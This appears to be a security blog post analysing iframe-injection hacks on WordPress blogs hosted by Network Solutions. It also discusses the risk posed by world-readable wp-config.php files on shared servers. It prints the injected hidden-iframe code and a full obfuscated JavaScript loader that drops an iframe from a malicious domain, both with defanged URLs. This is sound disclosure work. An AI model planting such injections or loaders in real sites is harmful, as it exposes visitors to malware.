Network Solutions and WordPress Security Flaw

I first noticed this hidden iframe from hxxp://networkads .net/ grep/ on April 7.

It instantly drew my attention with these weird “iframe_style” scripts in Unmask Parasites reports (I even thought it was a bug in Unmask Parasites, but when I checked the infected site, I found those scripts there).

weird scripts

However it was a single incident and I didn’t see any obvious pattern back then. Two days later, when I noticed David’s (Sucuri Security) article about this very issue and the follow-up by Brian Krebs, I decided to take a closer look at it.

What I found is quite interesting and raises a few serious questions about security of websites on shared servers.

Quick recap of David’s and Brian’s articles

1.Many WordPress blogs on have been recently hacked. Someone has injected the following iframe that pushes malicious content from networkads .net server

<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>

2. The injection was done via WordPress database. Hackers replaced the value of the “siteulr” option in the “wp_options” database (table prefix may be different in you case) with the iframe code:

<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'

3. This dumb modification of the siteurl parameter breaks most blogs (both visually and functionally) since there are many dependencies on the the siteurl parameter in WordPress. So Webmasters need to manually revert the value of this parameter to the correct site URL in their MySql database (it should be something like: ).

4. All affected sites are hosted by Network Solutions.

My findings

Google search

The hack breaks HTML code. This is a typical line of HTML broken by this iframe injection:

<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />

Since most WordPress themes actively use the siteurl parameter in the <head> section of HTML, this broken code makes them look like this:

broken blogs

which makes it possible to compose a Google search query that will return similarly hacked blogs. For example: wp-content text/css media screen xmlrpc.php -pingback – this search produces about 5,000 results. Many of them point to the hacked blogs. These 5,000 of course include multiple indexed pages from the same sites, but I still could easily find more than 60 infected blogs on the first 10 pages of search results. (Warning: many blogs are still infected at the moment of writing.)

Network Solutions only

All those blogs are hosted by Network Solution. Not a single infected site outside of their network. This means that this specific attack is limited to Network Solutions servers.

Server IPs

Most of the infected blogs (40+) are on the server with IP address:

I also found similarly infected blogs on 16 more Network Solutions’ IPs:

Not only a database hack

Not only does this attack inject the iframe code into WordPress database, on certain sites hackers also inject the iframe code (slightly modified) directly into file on disks.

<iframe frameborder="0" onload=' if (!this.src){ this.src=""; this.height=0; this.width=0;} '></iframe>

The places of injection suggest that the code was not taken from database.

Other Domains

networkads .net is not the only domain name used by this attack. Before it, hackers used binglbalts .com/ grep/ and now they use mainnetsoll .com/ grep/.

This three domains point to the same server with IP address (Lunar Pages) which seems to be a hacked dedicated (or virtual dedicated) server with several legitimate sites.

According to whois:

  • binglbalts .com – created on Apr 01, 2010
  • networkads .net – create on Apr 04, 2010
  • mainnetsoll .com – created on Apr 10 2010

Inspite of such a short history, according to Google Safe Browsing database, binglbalts. com and have already changed several servers on 3 different networks.

Update: obfuscated script

When I published this article I checked the compromised sites once more and discovered this obfuscated script on one of them:

e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'<e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'></e>\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;

It was right after the <body> tag.

What this script does is checks if there is a cookie called “seref“. If there is no such a cookie, it injects a hidden iframe from hxxp://mainnetsoll .com/ grep/, and then sets this “seref “cookie for one day.

As you can see the attack constantly evolves, and this time the malicious code is directly injected into some WordPress file.

Other hacks

It looks like these latest iframe injections are not the first time when WordPress blogs on those Network Solutions servers are being attacked by hackers. I can still see signs of other attacks.

Some of the hacked sites contain hundreds of spammy links that can only be visible if you browse with disabled JavaScript. For some reason, every link is enclosed in <noindex> tags and use rel=”nofollow” in <a> tag’s parameters. So what’s the use if it is neither for normal web surfers nor for search engines?

The links are followed by the networkads hidden iframes.

I also found a dozen of infected WordPress blogs that try to pull hidden spammy links from hxxp://alkoltashov .narod .ru/ sites.txt. The links are supposed to be displayed in a <div> located way outside of the visible area, but because the configuration of Network Solutions servers that disable URL file-access, those link injections fail with the following error (which is also displayed outside of the visible are ):

<div style="left: -2322px; position: absolute; top: -3433px">
Warning: readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
Warning: readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163

According to Google cache, this unsuccessful remote link injection happened back in January.

And it is also limited to blogs on Network Solutions servers.

WebEasySearch .com

Some of the hacked blog also redirect search engine results to webeasysearch .com site. And this only happens if you haven’t visited the hacked blogs before (must be checking WP cookies).

This hack encrypts the search engine’s query string, and then passes it to the webeasysearch .com site which decrypts it and displays it’s own search results for the same query.

I bet it is done by some PHP code injected into WordPress files.

The style of the hacks and the range of the affected sites make me think that all those hacks were done by the same hacker.


1. The hackers definitely target WordPress blogs, but I doubt any WordPress vulnerability was used. Otherwise we would see similarly hacked blogs not only on the Network Solutions servers.

2. At the same time more than a dozen of Network Solutions servers are affected. There might be a security hole (or a least flaw) on their network. They should seriously investigate this issue.

3. I agree with David from Sucuri Security who thinks this can be done via access to a single compromised (or even legally created by hackers) account. Hackers can use this account to execute scripts that read content of wp-config.php files on neighbor accounts (according to reverse IP lookup there are several thousand sites on the server with IP

It is quite easy (I won’t give out the tricks to wanna be hackers here but they work well on Network Solutions servers) to identify sites with WordPress blogs on any server and then identify absolute paths to wp-config.php files that contain database credentials, and names of WordPress tables – all in plain text. Then hackers simply need to run another script that injects whatever they want into databases of their server neighbors.

Similarly, any malicious code can be injected into any writable files under neighbor accounts.

WordPress design flaw

On shared servers, you can protect your own files from malicious neighbors making them read-only. Usually 644 file permissions and 755 directory permissions do the trick.

However, if neighbors somehow get your database credentials, they can do whatever they want with your database. In case of WordPress, it’s enough to read the wp-config.php file in the root of a WordPress blog.

To hide the content of the wp-config.php file from server neighbors, David (Sucury Security) suggests that this file should have 750 permissions (I guess he meant 640 since the execution permission is not required). Unfortunately, this trick will only work on servers with suPHP. On other servers where web server executes PHP scripts with its own rights, this trick will complete break WordPress blogs. Every page will produce the “Failed opening required ‘wp-config.php’” error.

This means that WordPress blogs on most shared servers are vulnerable to this sort of attack. It merely takes to hack one account (most shared servers have multiple hacked accounts) or even to create a regular account specifically for hacking purpose and you can steal MySQL database credentials of your neighbors with WordPress blogs. Any other database driven web scripts that store database credentials in plain text are also vulnerable.

Guys from WordPress are aware of this problem on shared servers but for some reason they also give this strange advice about 750 permissions for wp-config.php that both incorrect (750 instead of 640) and will only work for suPHP server:

Note that if you are on a shared-server the permissions of your wp-config.php should be 750. It means that no other user will be able to read your database username and password. If you have FTP or shell access, do the following:

chmod 750 wp-config.php

So at this point, there is no universal way to protect your database credentials on shared servers. At the same time, I see more and more attacks where a compromise account on a shared server is used to hack other sites on the same server. It’s time to revisit the approach used in the wp-config.php file.

Have your say

What do you think about this issue with world-readable wp-config.php files on shared servers? Any thoughts on how to mitigate it?

If you are a Network Solutions client with a hacked site, I’d also want to hear about your experience. Could you tell us about file permissions you use (especially if you were hit by those alkoltashov .narod .ru and WebEasySearch attacks)?

Any other comments are also welcome.

Related posts:

Source: Network Solutions and WordPress Security Flaw

Written by admin

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.